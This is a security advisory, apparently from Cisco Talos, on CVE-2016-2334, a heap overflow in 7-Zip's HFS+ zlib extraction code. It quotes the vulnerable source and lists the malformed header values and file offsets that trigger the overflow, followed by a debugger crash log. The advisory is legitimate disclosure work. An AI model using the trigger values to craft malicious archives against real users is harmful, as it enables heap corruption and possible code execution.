CVE-2016-2334
An exploitable heap overflow vulnerability exists in the NArchive::NHfs::CHandler::ExtractZlibFile method functionality of 7zip that can lead to arbitrary code execution.
7-Zip [32] 15.05 beta 7-Zip [64] 9.20
http://www.7-zip.org/
7.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
In HFS+ file system, files can be stored in compressed form with zlib usage. There is 3 different ways of keeping data in that form which depends on their size. Data of files which compressed size is bigger than 3800 bytes is stored in resource fork, split into blocks. Blocks size and their offset are keep in table just after resource fork header. Before decompression, ExtractZlibFile method read block size and its offset from file and after that read block data into static size buffer “buf”. Because there is no check whether size of block is bigger than size of “buf”, malformed size of block exceeding mentioned “buf” size will cause buffer overflow and heap corruption.
Vulnerable code
7zip\src\7z1505-src\CPP\7zip\Archive\HfsHandler.cpp
Line 1496 HRESULT CHandler::ExtractZlibFile(
Line 1497 ISequentialOutStream *outStream,
Line 1498 const CItem &item,
Line 1499 NCompress::NZlib::CDecoder *_zlibDecoderSpec,
Line 1500 CByteBuffer &buf,
Line 1501 UInt64 progressStart,
Line 1502 IArchiveExtractCallback *extractCallback)
Line 1503 {
Line 1504 CMyComPtr<ISequentialInStream> inStream;
Line 1505 const CFork &fork = item.ResourceFork;
Line 1506 RINOK(GetForkStream(fork, &inStream));
Line 1507 const unsigned kHeaderSize = 0x100 + 8;
Line 1508 RINOK(ReadStream_FALSE(inStream, buf, kHeaderSize));
Line 1509 UInt32 dataPos = Get32(buf);
Line 1510 UInt32 mapPos = Get32(buf + 4);
Line 1511 UInt32 dataSize = Get32(buf + 8);
Line 1512 UInt32 mapSize = Get32(buf + 12);
(...)
Line 1538 RINOK(ReadStream_FALSE(inStream, tableBuf, tableSize));
Line 1539
Line 1540 UInt32 prev = 4 + tableSize;
Line 1541
Line 1542 UInt32 i;
Line 1543 for (i = 0; i < numBlocks; i++)
Line 1544 {
Line 1545 UInt32 offset = GetUi32(tableBuf + i * 8);
Line 1546 UInt32 size = GetUi32(tableBuf + i * 8 + 4);
Line 1547 if (size == 0)
Line 1548 return S_FALSE;
Line 1549 if (prev != offset)
Line 1550 return S_FALSE;
Line 1551 if (offset > dataSize2 ||
Line 1552 size > dataSize2 - offset)
Line 1553 return S_FALSE;
Line 1554 prev = offset + size;
Line 1555 }
Line 1556
Line 1557 if (prev != dataSize2)
Line 1558 return S_FALSE;
Line 1559
Line 1560 CBufInStream *bufInStreamSpec = new CBufInStream;
Line 1561 CMyComPtr<ISequentialInStream> bufInStream = bufInStreamSpec;
Line 1562
Line 1563 UInt64 outPos = 0;
Line 1564 for (i = 0; i < numBlocks; i++)
Line 1565 {
Line 1566 UInt64 rem = item.UnpackSize - outPos;
Line 1567 if (rem == 0)
Line 1568 return S_FALSE;
Line 1569 UInt32 blockSize = kCompressionBlockSize;
Line 1570 if (rem < kCompressionBlockSize)
Line 1571 blockSize = (UInt32)rem;
Line 1572
Line 1573 UInt32 size = GetUi32(tableBuf + i * 8 + 4);
Line 1574
Line 1575 RINOK(ReadStream_FALSE(inStream, buf, size)); // !!! HEAP OVERFLOW !!!
During extraction from HFS+ image having compressed files with “com.apple.decmpfs” attribute and data stored in resource fork we land in above code. Let we start our analysis from line where buffer overflow appears. Like mentioned in description compressed file data is split into blocks and each block before decompression is read into “buf” as we can see in Line 1575. Based on “size” value ReadStream_FALSE reads portion of data into “buf” buffer. Buffer “buf” definition and its size we can observe in ExtractZlibFile caller CHandler::Extract method:
Line 1633 STDMETHODIMP CHandler::Extract(const UInt32 *indices, UInt32 numItems,
Line 1634 Int32 testMode, IArchiveExtractCallback *extractCallback)
Line 1635 {
(...)
Line 1652
Line 1653 const size_t kBufSize = kCompressionBlockSize; // 0x10000
Line 1654 CByteBuffer buf(kBufSize + 0x10); // we need 1 additional bytes for uncompressed chunk header
(...)
Line 1729 HRESULT hres = ExtractZlibFile(realOutStream, item, _zlibDecoderSpec, buf,
Line 1730 currentTotalSize, extractCallback);
As you can see its size is constant and equal to 0x10010 bytes. Going back to ExtractZlibFile method. Line 1573 presents setting block “size” value read from tableBuf. tableBuf in Line 1538 is read from file, what implicates that “size” is a just a part of data coming from file so we can have direct influence on its value. Setting value for “size” bigger than 0x10010 we should achieve buffer overflow and in consequences heap corruption. Let us check eventual constraints. Before Line 1573 value of “size” variable is read in loop included in lines 1543-1555. This block of code is responsible of check whether data blocks are consistent, what means that : - data block should start just after tableBuf ,line 1540 - following data block should start at previous block size + offset, line: 1549 - offset should not be bigger than dataSize2 (size of compressed data) ,line 1551 - “size” should not be bigger than remaining data, line 1552
As we can see there is no check whether “size” is bigger than “buf” size and described above constraints don’t have influence on it either. Now, the best way to trigger overflow is to decrease value of “numBlocks” to 2, set first “size” value to enough to overflow “buf” (so > 0x10010 ) and rest of values just to fit constraints.
Example of modified values:
file offset: variable: Original: Malformed: 0xD342A item.UnpackSize 0x1411b0 0x0020000 0x786104 numBlocks 0x15 0x2 0x786108 tableBuf[0].offset 0xAC 0x14 0x78610C tableBuf[0].size 0x95f6 0x11fff 0x786110 tableBuf[1].offset 0x96A2 0x12013 0x786114 tableBuf[1].size 0x9a6d 0x8E4FB
ModLoad: 00160000 001d5000 7z.exe
(1458.1584): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=3c750000 edx=000de2a8 esi=fffffffe edi=00000000
eip=77cf12fb esp=004af46c ebp=004af498 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
77cf12fb cc int 3
0:000> g
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=fffdd000 edi=004ae960
eip=77c6fcae esp=004ae834 ebp=004ae888 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!ZwMapViewOfSection+0x12:
77c6fcae 83c404 add esp,4
*** WARNING: Unable to verify checksum for 7z.exe
0:000> g
Breakpoint 83 hit
eax=005a9ab0 ebx=00000000 ecx=00000000 edx=00011fff esi=005a9ab0 edi=00000000
eip=6967bbe5 esp=004ae698 ebp=004ae82c iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
7z_69640000!NArchive::NHfs::CHandler::ExtractZlibFile+0x5b5:
6967bbe5 8b4580 mov eax,dword ptr [ebp-80h] ss:002b:004ae7ac=ff1f0100
line: RINOK(ReadStream_FALSE(inStream, buf, size)); //JUST BEFORE OVERFLOW HIT!
0:000> dv size
size = 0x11fff
0:000> dt buf
Local var @ 0x4ae840 Type CBuffer<unsigned char>*
0x004ae994
+0x000 _items : 0x02530048 ""
+0x004 _size : 0x10010
0:000> !heap -x 0x02530048
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
02530040 02530048 00540000 02530000 10018 40 8 busy
0:000> !heap -x 0x02530048+0x10018
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
02540058 02540060 00540000 02530000 3e048 10018 0 free
0:000> p
eax=00000000 ebx=00000000 ecx=00011fff edx=004ae680 esi=02530048 edi=00000000
eip=6967bc51 esp=004ae698 ebp=004ae82c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
7z_69640000!NArchive::NHfs::CHandler::ExtractZlibFile+0x621:
6967bc51 8b4d14 mov ecx,dword ptr [ebp+14h] ss:002b:004ae840=94e94a00
0:000> !heap -x 0x02530048+0x10018
List corrupted: (Flink->Blink = 41414141) != (Block = 005fedb0)
HEAP 00540000 (Seg 00540000) At 005feda8 Error: block list entry corrupted
ERROR: Block 02540058 previous size 3e00 does not match previous block size 2003
HEAP 00540000 (Seg 02530000) At 02540058 Error: invalid block Previous
0:000> g
Critical error detected c0000374
(1458.1584): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=77cbf861 edx=004ae1c9 esi=00540000 edi=005fedb0
eip=77d1ea31 esp=004ae41c ebp=004ae494 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!RtlReportCriticalFailure+0x29:
77d1ea31 cc int 3
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
returning none
FAULTING_IP:
ntdll!RtlReportCriticalFailure+29
77d1ea31 cc int 3
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77d1ea31 (ntdll!RtlReportCriticalFailure+0x00000029)
ExceptionCode: 80000003 (Break instruction exception)
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 00000000
FAULTING_THREAD: 00001584
PROCESS_NAME: 7z.exe
ERROR_CODE: (NTSTATUS) 0x80000003 - {WYJ
EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - Co najmniej jeden z argument w jest nieprawid owy.
EXCEPTION_PARAMETER1: 00000000
DETOURED_IMAGE: 1
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
APP: 7z.exe
LAST_CONTROL_TRANSFER: from 77d1f965 to 77d1ea31
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption
STACK_TEXT:
77d542a8 77cdb206 ntdll!RtlpAllocateHeap+0x7b2
77d542ac 77c83d1e ntdll!RtlAllocateHeap+0x23a
77d542b0 6f2eed63 msvcr120!malloc+0x49
77d542b4 6f2f223c msvcr120!_malloc_crt+0x16
77d542b8 6f3005b6 msvcr120!_stbuf+0x5c
77d542bc 6f300a09 msvcr120!fputs+0xc6
77d542c0 0016371c 7z!CStdOutStream::operator<<+0x1c
77d542c4 001b1f5f 7z!CExtractCallbackConsole::SetOperationResult+0xef
77d542c8 00180878 7z!CArchiveExtractCallback::SetOperationResult+0x4c8
77d542cc 6967b559 7z!NArchive::NHfs::CHandler::Extract+0xf29
77d542d0 0018faab 7z!DecompressArchive+0x89b
77d542d4 001904dc 7z!Extract+0x97c
77d542d8 001ba3fd 7z!Main2+0x14cd
77d542dc 001bc0be 7z!main+0x7e
77d542e0 001bfe33 7z!__tmainCRTStartup+0xfd
77d542e4 7563337a kernel32!BaseThreadInitThunk+0xe
77d542e8 77c892e2 ntdll!__RtlUserThreadStart+0x70
77d542ec 77c892b5 ntdll!_RtlUserThreadStart+0x1b
FOLLOWUP_IP:
MSVCR120!_stbuf+5c
6f3005b6 8904bd60053c6f mov dword ptr MSVCR120!_stdbuf (6f3c0560)[edi*4],eax
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: msvcr120!_stbuf+5c
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: MSVCR120
IMAGE_NAME: MSVCR120.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 524f7ce6
STACK_COMMAND: dps 77d542a8 ; kb
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption_80000003_MSVCR120.dll!_stbuf
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption_DETOURED_msvcr120!_stbuf+5c
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/7z_exe/15_5_0_0/5591858b/ntdll_dll/6_1_7601_18869/55636317/80000003/000cea31.htm?Retriage=1
Followup: MachineOwner
---------
2016-03-03 - Vendor Notification
2016-05-10 - Public Disclosure
Discovered by Marcin ‘Icewall’ Noga of Cisco Talos